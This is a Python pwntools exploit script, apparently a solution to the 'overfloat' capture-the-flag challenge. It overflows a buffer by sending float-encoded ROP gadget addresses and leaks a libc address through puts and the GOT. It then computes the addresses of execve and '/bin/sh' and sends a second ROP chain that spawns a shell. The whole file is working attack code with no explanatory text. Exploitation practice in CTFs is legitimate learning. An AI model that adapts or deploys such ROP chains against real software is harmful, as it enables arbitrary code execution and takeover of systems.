#!/usr/bin/python

import struct
from pwn import *
from decimal import Decimal
import string
import random 


def hexToFloat(conv):
	return struct.unpack('!f', conv.decode('hex'))[0]

def getString(conv):
	d = Decimal(hexToFloat(conv))
	p = abs(d.as_tuple().exponent)
	return (('{:.%df}' % p).format(d))

#context.log_level = 'debug'

str1="00400a83" # pop rdi; ret
str2="00602030" # @got.setbuf 
str3="00400690" # @puts
str4="00400993" # main


#print "hex value 0x"+str1
#print "String value:",getString(str1[:60])

env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")}

p = process("./overfloat", env=env)

junk = "6"
junk_null = "A"
crash_str="done"

for i in xrange(0,7):
	for j in xrange(0,2):
		print p.recvuntil("]:")	
		p.sendline(junk)	

# pop rdi; ret
print p.recvuntil("]:")
p.sendline(getString(str1)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @got.setbuf
print p.recvuntil("]:")
p.sendline(getString(str2)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @put
print p.recvuntil("]:")
p.sendline(getString(str3)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @main
print p.recvuntil("]:")
p.sendline(getString(str4)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# CRASHING
print p.recvuntil("]:")	
p.sendline(crash_str)

# Getting the LEAK
print p.recvuntil("VOYAGE!\n")
leak = p.recvline()
#print len(leak[1:8])
leak_setbuf = u64( leak[0:6] + "\x00\x00" )
log.info ("Leak: "+str(hex(leak_setbuf)))

execve_offset=0x00007f2e77e8ce30-0x00007f2e77e304d0
binsh_offset=0x00007f2e77f5be9a-0x00007f2e77e304d0

_execve=leak_setbuf+execve_offset
_binsh=leak_setbuf+binsh_offset

log.info("LIBC function")
log.info("execve "+str(hex(_execve)))
log.info("binsh"+str(hex(_binsh)))

print "execve str",str(hex(_execve))[2:] 
print "binsh str",str(hex(_binsh))[2:]


#rdi->/bin/sh, rsi->0, rdx->0
# Stage 2 ROP
for i in xrange(0,7):
	for j in xrange(0,2):
		print p.recvuntil("]:")	
		p.sendline(junk)	


# pop rdi; ret
print p.recvuntil("]:")
p.sendline(getString(str1)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

log.info("craffting binsh str1"+str(hex(_binsh))[6:])
# /bin/sh
print p.recvuntil("]:")
p.sendline(getString(str(hex(_binsh))[6:])[:60])

log.info("craffting binsh str2"+str(hex(_binsh))[2:6])
# /bin/sh
print p.recvuntil("]:")
p.sendline(getString("0000" +str(hex(_binsh))[2:6])[:60])

str5="00400a81"
# pop rsi; pop r15; ret
print p.recvuntil("]:")
p.sendline(getString(str5)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# rsi=NULL r15=NULL
for i in xrange(0,4):
	print p.recvuntil("]:")
	p.sendline(junk_null)

log.info("craffting execve str1"+str(hex(_execve))[6:])
# execve
print p.recvuntil("]:")
p.sendline(getString(str(hex(_execve))[6:])[:60])

log.info("craffting binsh str2"+str(hex(_execve))[2:6])
# binsh
print p.recvuntil("]:")
p.sendline(getString("0000" +str(hex(_execve))[2:6])[:60])

# CRASHING
print p.recvuntil("]:")	
p.sendline(crash_str)

p.interactive()

